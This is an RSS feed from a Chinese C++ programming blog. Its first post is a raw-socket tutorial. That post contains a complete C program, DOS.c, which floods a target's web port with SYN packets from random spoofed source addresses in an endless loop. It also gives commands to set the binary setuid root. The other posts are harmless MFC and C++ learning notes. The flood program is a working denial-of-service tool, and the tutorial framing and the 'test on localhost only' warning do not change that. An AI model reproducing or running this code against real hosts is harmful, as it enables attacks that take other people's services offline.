﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-lshlc</title><link>http://www.cppblog.com/lshlc/</link><description /><language>zh-cn</language><lastBuildDate>Fri, 17 Apr 2026 11:34:57 GMT</lastBuildDate><pubDate>Fri, 17 Apr 2026 11:34:57 GMT</pubDate><ttl>60</ttl><item><title>原始套接字</title><link>http://www.cppblog.com/lshlc/archive/2009/04/26/81139.html</link><dc:creator>梁少林</dc:creator><author>梁少林</author><pubDate>Sun, 26 Apr 2009 10:24:00 GMT</pubDate><guid>http://www.cppblog.com/lshlc/archive/2009/04/26/81139.html</guid><wfw:comment>http://www.cppblog.com/lshlc/comments/81139.html</wfw:comment><comments>http://www.cppblog.com/lshlc/archive/2009/04/26/81139.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/lshlc/comments/commentRss/81139.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/lshlc/services/trackbacks/81139.html</trackback:ping><description><![CDATA[<p style="COLOR: #000000"><span style="COLOR: #000000">原始套接字 <br></span>&nbsp;&nbsp;&nbsp;&nbsp; 我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建. <br><br>10.1 原始套接字的创建 <br><br>int sockfd(AF_INET,SOCK_RAW,protocol) <br><br>可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 <netinet></netinet>下面我们以一个实例来说明原始套接字的创建和使用 <br><br>10.2 一个原始套接字的实例 <br>还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码 <br><br>/********************&nbsp;&nbsp; DOS.c&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *****************/ <br>#include <sys></sys><br>#include <netinet></netinet><br>#include <netinet></netinet><br>#include <netinet></netinet><br>#include <stdlib.h></stdlib.h><br>#include <errno.h></errno.h><br>#include <unistd.h></unistd.h><br>#include <stdio.h></stdio.h><br>#include <netdb.h></netdb.h><br><br>#define DESTPORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* 要攻击的端口(WEB)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */ <br>#define LOCALPORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8888 <br><br>void send_tcp(int sockfd,struct sockaddr_in *addr); <br>unsigned short check_sum(unsigned short *addr,int len); <br><br>int main(int argc,char **argv) <br>{ <br>int sockfd; <br>struct sockaddr_in addr; <br>struct hostent *host; <br>int on=1; <br><br>if(argc!=2) <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1); <br>} <br><br>bzero(&amp;addr,sizeof(struct sockaddr_in)); <br>addr.sin_family=AF_INET; <br>addr.sin_port=htons(DESTPORT); <br><br>if(inet_aton(argv[1],&amp;addr.sin_addr)==0) <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; host=gethostbyname(argv[1]); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(host==NULL) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addr.sin_addr=*(struct in_addr *)(host-&gt;h_addr_list[0]); <br>} <br><br>/**** 使用IPPROTO_TCP创建一个TCP的原始套接字&nbsp;&nbsp;&nbsp;&nbsp; ****/ <br><br>sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); <br>if(sockfd&lt;0) <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(1); <br>} <br>/********&nbsp;&nbsp; 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写&nbsp;&nbsp; ***/ <br><br>setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&amp;on,sizeof(on)); <br><br>/****&nbsp;&nbsp; 没有办法,只用超级护用户才可以使用原始套接字&nbsp;&nbsp;&nbsp;&nbsp; *********/ <br>setuid(getpid()); <br><br>/*********&nbsp;&nbsp; 发送炸弹了!!!!&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ****/ <br>send_tcp(sockfd,&amp;addr); <br>} <br><br><br><br>/*******&nbsp;&nbsp; 发送炸弹的实现&nbsp;&nbsp;&nbsp; *********/ <br>void send_tcp(int sockfd,struct sockaddr_in *addr) <br>{ <br>char buffer[100];&nbsp;&nbsp; /**** 用来放置我们的数据包&nbsp;&nbsp; ****/ <br>struct ip *ip; <br>struct tcphdr *tcp; <br>int head_len; <br><br>/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度&nbsp;&nbsp; ***/ <br><br>head_len=sizeof(struct ip)+sizeof(struct tcphdr); <br><br>bzero(buffer,100); <br><br>/********&nbsp;&nbsp; 填充IP数据包的头部,还记得IP的头格式吗?&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ******/ <br>ip=(struct ip *)buffer; <br>ip-&gt;ip_v=IPVERSION;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /** 版本一般的是 4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; **/ <br>ip-&gt;ip_hl=sizeof(struct ip)&gt;&gt;2; /** IP数据包的头部长度&nbsp;&nbsp; **/ <br>ip-&gt;ip_tos=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /** 服务类型&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; **/ <br>ip-&gt;ip_len=htons(head_len);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /** IP数据包的长度&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; **/ <br>ip-&gt;ip_id=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /** 让系统去填写吧&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; **/ <br>ip-&gt;ip_off=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /** 和上面一样,省点时间 **/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>ip-&gt;ip_ttl=MAXTTL;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /** 最长的时间&nbsp;&nbsp;&nbsp; 255&nbsp;&nbsp;&nbsp;&nbsp; **/ <br>ip-&gt;ip_p=IPPROTO_TCP;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /** 我们要发的是 TCP包&nbsp;&nbsp; **/ <br>ip-&gt;ip_sum=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /** 校验和让系统去做&nbsp;&nbsp;&nbsp;&nbsp; **/ <br>ip-&gt;ip_dst=addr-&gt;sin_addr;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /** 我们攻击的对象&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; **/ <br><br>/*******&nbsp;&nbsp; 开始填写TCP数据包&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *****/ <br>tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); <br>tcp-&gt;source=htons(LOCALPORT); <br>tcp-&gt;dest=addr-&gt;sin_port;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /** 目的端口&nbsp;&nbsp;&nbsp;&nbsp; **/ <br>tcp-&gt;seq=random(); <br>tcp-&gt;ack_seq=0; <br>tcp-&gt;doff=5; <br>tcp-&gt;syn=1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /** 我要建立连接 **/ <br>tcp-&gt;check=0; <br><br><br>/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^&nbsp;&nbsp; **/ <br>while(1) <br>&nbsp;&nbsp; { <br>/**&nbsp;&nbsp; 你不知道我是从那里来的,慢慢的去等吧!&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; **/ <br>&nbsp;&nbsp;&nbsp;&nbsp; ip-&gt;ip_src.s_addr=random();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br><br>/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ <br>/**&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 下面这条可有可无&nbsp;&nbsp;&nbsp;&nbsp; */ <br>&nbsp;&nbsp;&nbsp;&nbsp; tcp-&gt;check=check_sum((unsigned short *)tcp, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sizeof(struct tcphdr)); <br>&nbsp;&nbsp;&nbsp;&nbsp; sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); <br>&nbsp;&nbsp; } <br>} <br><br>/* 下面是首部校验和的算法,偷了别人的 */ <br>unsigned short check_sum(unsigned short *addr,int len) <br>{ <br>register int nleft=len; <br>register int sum=0; <br>register short *w=addr; <br>&nbsp;&nbsp; short answer=0; <br><br>while(nleft&gt;1) <br>{ <br>&nbsp;&nbsp; sum+=*w++; <br>&nbsp;&nbsp; nleft-=2; <br>} <br>if(nleft==1) <br>{ <br>&nbsp;&nbsp; *(unsigned char *)(&amp;answer)=*(unsigned char *)w; <br>&nbsp;&nbsp; sum+=answer; <br>} <br>&nbsp;&nbsp; <br>sum=(sum&gt;&gt;16)+(sum&amp;0xffff); <br>sum+=(sum&gt;&gt;16); <br>answer=~sum; <br>return(answer); <br>} <br><br>编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为root,且 设置setuid位 <br><br>[root@hoyt /root]#chown root DOS <br>[root@hoyt /root]#chmod +s DOS <br><br><br>10.3 总结 <br>原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上TCP头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源IP地址,所以我们使用了setsockopt函数,如果我们只是修改TCP数据,那么IP数据一样也可以由系统来创建的. <br><a href="http://www.cppblog.com/lshlc/"></a></p>
<img src ="http://www.cppblog.com/lshlc/aggbug/81139.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/lshlc/" target="_blank">梁少林</a> 2009-04-26 18:24 <a href="http://www.cppblog.com/lshlc/archive/2009/04/26/81139.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>dll的使用方法</title><link>http://www.cppblog.com/lshlc/archive/2009/04/12/79668.html</link><dc:creator>梁少林</dc:creator><author>梁少林</author><pubDate>Sun, 12 Apr 2009 03:32:00 GMT</pubDate><guid>http://www.cppblog.com/lshlc/archive/2009/04/12/79668.html</guid><wfw:comment>http://www.cppblog.com/lshlc/comments/79668.html</wfw:comment><comments>http://www.cppblog.com/lshlc/archive/2009/04/12/79668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/lshlc/comments/commentRss/79668.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/lshlc/services/trackbacks/79668.html</trackback:ping><description><![CDATA[<p><br>首先要建立一个dll的资源，file-&gt;new-&gt;MFC appwizard(dll) 输入工程的名字<br>&nbsp; 点击 FINISH 然后点击 OK<br>&nbsp;你就可以开始创建你自己的dll资源了&nbsp; 我这里的DLL资源是一个图片<br>&nbsp;INSERT -》RESOURCE -》选择BITMAP 单机IMPORT&nbsp; 找出要导入的图片就可以了<br>注意图片的后缀名是 .bmp 或 .ico 不能是其他格式的否则就用不了<br>&nbsp; 导入成功以后就可以编译一下（不用运行）<br>然后在工程文件的目录中debug文件夹中就会有一个 .dll 和.lib的文件（这两个文件有用）<br>这样你自己的DLL就建立成功了<br>&nbsp;接下来的任务是如何把自己建立的DLL应用到自己的程序中去<br>&nbsp; 打开工程建立一个基于对话框的应用程序，放置一个picture(这个控件必须修改名字，否则无法定义成员变量)和一个button，把picture的type设置成和你加载的图片一样的格式（比如在DLL中你导入的是一个.bmp的图片，那就把type设置成bitmap，导入的是.ico的图片 就设置成icon）<br>&nbsp;然后就是给button增加单机响应事件。<br>代码如下：<br>&nbsp;HINSTANCE hdll; //存储加载的动态连接库的句柄<br>&nbsp;HINSTANCE hcurrent;&nbsp; //保存当前句柄 以用于最后恢复到当前<br>&nbsp;hdll=::LoadLibrary("C:\\Program Files\\Microsoft Visual Studio\\MyProjects\\cbitmap\\Debug\\cbitmap.dll"); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //加载你自己建立的DLL 这里有一个注意的地方 文件目录之间要用 \\ 否则会有警告<br>&nbsp;if(hdll)&nbsp; //如果DLL不为空<br>&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hcurrent=AfxGetResourceHandle();&nbsp; //获取当前的句柄<br>&nbsp;&nbsp;&nbsp; AfxSetResourceHandle(hdll);&nbsp; //设置成&nbsp;DLL的句柄<br>&nbsp;&nbsp;&nbsp; HBITMAP hbit=::LoadBitmap(hdll,MAKEINTRESOURCE(IDB_BITMAP1)); //第一个参数 用的是哪个对象就要设置成相应的句柄 如果用的是本工程中的图片就用 AfxGetInstanceHandle 或者是AfxGetApp-&gt;m_Instance; <br>&nbsp; 第二个参数是图片的一个资源标识，要用MAKEINTRESOURCE 进行转换 非常要注意的是MAKEINTRESOURCE的参数 你导入的图片在DLL中用的是什么名字 在这里也要用一样的的名字 否则就会出错。<br>&nbsp;&nbsp;&nbsp; m_pic.SetBitmap(hbit);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AfxSetResourceHandle(hcurrent); //恢复到当前句柄<br>&nbsp;<br>&nbsp;<br>&nbsp;}<br>&nbsp;AfxFreeLibrary(hdll);&nbsp; 释放hdll<br>并不是代码有了就可以用了 还需要一些准备工作，第一个 将制作DLL产生的lib文件导入<br>&nbsp;步骤：project -&gt;add to project -&gt;files 找到制作DLL产生的lib文件，将其导入<br>&nbsp;还要在工程的头文件中把制作DLL时产生的和工程名相同的头文件用语句&#8220;#include "xx.h"&#8221;<br>&nbsp;包含进来。这里有一个小细节要注意，由于这个头文件的目录和我们现有工程的的目录是不一样的<br>&nbsp; 我们可以把这个头文件直接复制到我们现有工程的目录中即可。<br>&nbsp;<br>这些工作做完了 我们就可以运行我们的工程了</p>
<p>&nbsp;</p>
<p><br>DLL中定义有两种函数:<br>---- 导出函数(exportfunction): 可以被其他模块调用<br>---- 内部函数(internalfunction): 只能在DLL内部使用 <br>---- 创建一个基于API的DLL.本例只定义了导出函数. </p>
<p>---- 1.在FILE- &gt;NEW- &gt;PROJECTS中选择"WIN32 Dynamic-Link Library"在Project Name中输入 "a"按OK </p>
<p>---- 2.在FILE- &gt;NEW- &gt;FILES中选择C++ SOURCE FILE，在FILE中输入a.cpp,按OK </p>
<p>---- 在FILE- &gt;NEW- &gt;FILES中选择TEXT文件，在FILE中输入a.h,按OK </p>
<p>---- 在FILE- &gt;NEW- &gt;FILES中选择TEXT文件，在FILE中输入a.def,按OK </p>
<p>---- 3.源文件： </p>
<p>&nbsp;file://---------------------------<br>&nbsp;<a href="file://a.cpp/">file://a.cpp</a><br>&nbsp;#include &lt; windows &gt;<br>&nbsp;WINAPI int add(int a,int b)<br>&nbsp;{ return (a+b);<br>&nbsp;}<br>&nbsp;file://---------------------------<br>&nbsp;<a href="file://a.h/">file://a.h</a><br>&nbsp;WINAPI int add(int a,int b);<br>&nbsp;file://---------------------------<br>&nbsp;<a href="file://a.def/">file://a.def</a><br>&nbsp;LIBRARY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "aaa" ;指出DLL的名字<br>&nbsp;DESCRIPTION&nbsp; ''aaa Windows Dynamic Link Library''<br>&nbsp;;描述DLL的用途(此句可选)<br>&nbsp;EXPORTS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add ;导出函数的名字</p>
<p>四.调用DLL的方法:<br>---- 1.通常我们在调用DLL时所需的DLL文件必须位于以下三个目录之一: <br>---- (1)Windows的系统目录:\windows\system; </p>
<p>---- (2)DOS中path所指出的任何目录; </p>
<p>---- (3)程序所在的目录; </p>
<p>---- 同时应注意管理好你的.lib文件和.h和文件 </p>
<p>---- 2.建立一个工程,简单起见可建立一个控制台应用程序. </p>
<p>---- 3.在工程中引入a.lib: </p>
<p>---- (1)如果你的a.lib放在VC标准的LIB文件夹中. </p>
<p>&nbsp;&nbsp; 单击Project- &gt;Project Settings...<br>&nbsp;&nbsp; 在link选卡的object/library modules中加上a.lib即可</p>
<p>---- (2)如果你的a.lib不是放在VC标准的LIB文件夹中 <br>&nbsp;&nbsp; 单击Project- &gt;Add to Project- &gt;files...<br>&nbsp;&nbsp; 找到a.lib文件,按OK<br>&lt; pre &gt;<br>4.//------------------------<br>&nbsp;&nbsp; <a href="file://call_a.cpp/">file://call_a.cpp</a><br>&nbsp;&nbsp; #include&lt; stdio.h &gt;<br>&nbsp;&nbsp; #include "c:/a/a.h"<br>&nbsp;&nbsp; void main(void) <br>&nbsp;&nbsp; { int c=0;</p>
<p>&nbsp; c=add(1,2);<br>&nbsp; printf("1+2=%d",c);<br>&nbsp;&nbsp; }<br>&nbsp;file://本程序在VC5.0下调试通过</p>
<p>&nbsp;</p>
<img src ="http://www.cppblog.com/lshlc/aggbug/79668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/lshlc/" target="_blank">梁少林</a> 2009-04-12 11:32 <a href="http://www.cppblog.com/lshlc/archive/2009/04/12/79668.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>EDIT附值的方法</title><link>http://www.cppblog.com/lshlc/archive/2009/04/12/79667.html</link><dc:creator>梁少林</dc:creator><author>梁少林</author><pubDate>Sun, 12 Apr 2009 03:29:00 GMT</pubDate><guid>http://www.cppblog.com/lshlc/archive/2009/04/12/79667.html</guid><wfw:comment>http://www.cppblog.com/lshlc/comments/79667.html</wfw:comment><comments>http://www.cppblog.com/lshlc/archive/2009/04/12/79667.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/lshlc/comments/commentRss/79667.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/lshlc/services/trackbacks/79667.html</trackback:ping><description><![CDATA[&nbsp;给EDIT附值时的方法：<br>&nbsp;（1）可以给EDIT控件添加CSTRING的成员变量，然后用 m_text=_T("hello");的形式给EDIT附值<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 但这时候你就得必须在m_text=_T("hello");这句的前面加上UpdateData(TRUE);在后面加上<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UpdateData(FALSE); 其中UpdateData(TRUE);的作用是将EDIT中的内容更新成员变量中，<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UpdateData(FALSE);的作用是将成员变量的内容更新到EDIT中。<br>&nbsp;（2）给EDIT添加CEDIT类型的变量，调用其中的SETWINDOWTEXT方法给EDIT附值，但是此时注意<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果你为EDIT定义了CSTRING的成员变量就不用UpdateData(TRUE);和UpdateData(FALSE);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 因为你如果还继续使用，UpdateData(TRUE);将EDIT的内容附值到了CSTRING类型变量，<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UpdateData(FALSE);又将CSTRING类型变量的内容又附值到了EDIT中，这样SETWINDOWTEXT<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 函数就没有作用了。<br>&nbsp;（3） 因为控件也是由CWIND类派生来的，所以可以先调用GetDlgItem(参数是控件的ID)，返回的<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 是CWIND类型的指针，然后用这个指针调用-》SetWindowText(内容)就可以给EDIT附值了<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UpdateData(TRUE); UpdateData(FALSE);的要求和上面一样。
<img src ="http://www.cppblog.com/lshlc/aggbug/79667.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/lshlc/" target="_blank">梁少林</a> 2009-04-12 11:29 <a href="http://www.cppblog.com/lshlc/archive/2009/04/12/79667.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>学好c++50条</title><link>http://www.cppblog.com/lshlc/archive/2009/03/19/77223.html</link><dc:creator>梁少林</dc:creator><author>梁少林</author><pubDate>Thu, 19 Mar 2009 12:11:00 GMT</pubDate><guid>http://www.cppblog.com/lshlc/archive/2009/03/19/77223.html</guid><wfw:comment>http://www.cppblog.com/lshlc/comments/77223.html</wfw:comment><comments>http://www.cppblog.com/lshlc/archive/2009/03/19/77223.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/lshlc/comments/commentRss/77223.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/lshlc/services/trackbacks/77223.html</trackback:ping><description><![CDATA[<p>1.把C++当成一门新的语言学习。 <br>2.看《Thinking In C++》，不要看《C++变成死相》； <br>3.看《The C++ Programming Language》和《Inside The C++ Object Model》,不要因为他们很难而我们自己是初学者所以就不看； <br>4.不要被VC、BCB、BC、MC、TC等词汇所迷惑——他们都是集成开发环境，而我们要学的是一门语言； <br>5.不要放过任何一个看上去很简单的小编程问题——他们往往并不那么简单，或者可以引伸出很多知识点； <br>6.会用Visual C++，并不说明你会C++； <br>7.学class并不难，template、STL、generic programming也不过如此——难的是长期坚持实践和不遗余力的博览群书； <br>8.如果不是天才的话，想学编程就不要想玩游戏——你以为你做到了，其实你的C++水平并没有和你通关的能力一起变高——其实可以时刻记住：学C++是为了编游戏的； <br>9.看Visual C++的书，是学不了C++语言的； <br>10.浮躁的人容易说：XX语言不行了，应该学YY；——是你自己不行了吧！？ <br>11.浮躁的人容易问：我到底该学什么；——别问，学就对了； <br>12.浮躁的人容易问：XX有钱途吗；——建议你去抢银行； <br>13.浮躁的人容易说：我要中文版！我英文不行！——不行？学呀！ <br>14.浮躁的人容易问：XX和YY哪个好；——告诉你吧，都好——只要你学就行； <br>15.浮躁的人分两种：a)只观望而不学的人；b)只学而不坚持的人； <br>16.把时髦的技术挂在嘴边，还不如把过时的技术记在心里； <br>17.C++不仅仅是支持面向对象的程序设计语言； <br>18.学习编程最好的方法之一就是阅读源代码； <br>19.在任何时刻都不要认为自己手中的书已经足够了； <br>20.请阅读《The Standard C++ Bible》(中文版：标准C++宝典)，掌握C++标准； <br>21.看得懂的书，请仔细看；看不懂的书，请硬着头皮看； <br>22.别指望看第一遍书就能记住和掌握什么——请看第二遍、第三遍； <br>23.请看《Effective C++》和《More Effective C++》以及《Exceptional C++》； <br>24.不要停留在集成开发环境的摇篮上，要学会控制集成开发环境，还要学会用命令行方式处理程序； <br>25.和别人一起讨论有意义的C++知识点，而不是争吵XX行不行或者YY与ZZ哪个好； <br>26.请看《程序设计实践》，并严格的按照其要求去做； <br>27.不要因为C和C++中有一些语法和关键字看上去相同，就认为它们的意义和作用完全一样； <br>28.C++绝不是所谓的C的&#8220;扩充&#8221;——如果C++一开始就起名叫Z语言，你一定不会把C和Z语言联系得那么紧密； <br>29.请不要认为学过XX语言再改学C++会有什么问题——你只不过又在学一门全新的语言而已； <br>30.读完了《Inside The C++ Object Model》以后再来认定自己是不是已经学会了C++； <br>31.学习编程的秘诀是：编程，编程，再编程； <br>32.请留意下列书籍：《C++面向对象高效编程（C++ Effective Object-Oriented Software Construction）》《面向对象软件构造(Object-Oriented Software Construction)》《设计模式（Design Patterns）》《The Art of Computer Programming》； <br>33.记住：面向对象技术不只是C++专有的； <br>34.请把书上的程序例子亲手输入到电脑上实践，即使配套光盘中有源代码； <br>35.把在书中看到的有意义的例子扩充； <br>36.请重视C++中的异常处理技术，并将其切实的运用到自己的程序中； <br>37.经常回顾自己以前写过的程序，并尝试重写，把自己学到的新知识运用进去； <br>38.不要漏掉书中任何一个练习题——请全部做完并记录下解题思路； <br>39.C++语言和C++的集成开发环境要同时学习和掌握； <br>40.既然决定了学C++,就请坚持学下去，因为学习程序设计语言的目的是掌握程序设计技术，而程序设计技术是跨语言的； <br>41.就让C++语言的各种平台和开发环境去激烈的竞争吧，我们要以学习C++语言本身为主； <br>42.当你写C++程序写到一半却发现自己用的方法很拙劣时，请不要马上停手；请尽快将余下的部分粗略的完成以保证这个设计的完整性，然后分析自己的错误并重新设计和编写（参见43）； <br>43.别心急，设计C++的class确实不容易；自己程序中的class和自己的class设计水平是在不断的编程实践中完善和发展的； <br>44.决不要因为程序&#8220;很小&#8221;就不遵循某些你不熟练的规则——好习惯是培养出来的，而不是一次记住的； <br>45.每学到一个C++难点的时候，尝试着对别人讲解这个知识点并让他理解——你能讲清楚才说明你真的理解了； <br>46.记录下在和别人交流时发现的自己忽视或不理解的知识点； <br>47.请不断地对自己写的程序提出更高的要求,哪怕你的程序版本号会变成Version 100.XX； <br>48.保存好你写过的所有的程序——那是你最好的积累之一； <br>49.请不要做浮躁的人； <br>50.请热爱C++! <br><a href="http://www.cppblog.com/lshlc/"></a></p>
<img src ="http://www.cppblog.com/lshlc/aggbug/77223.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/lshlc/" target="_blank">梁少林</a> 2009-03-19 20:11 <a href="http://www.cppblog.com/lshlc/archive/2009/03/19/77223.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>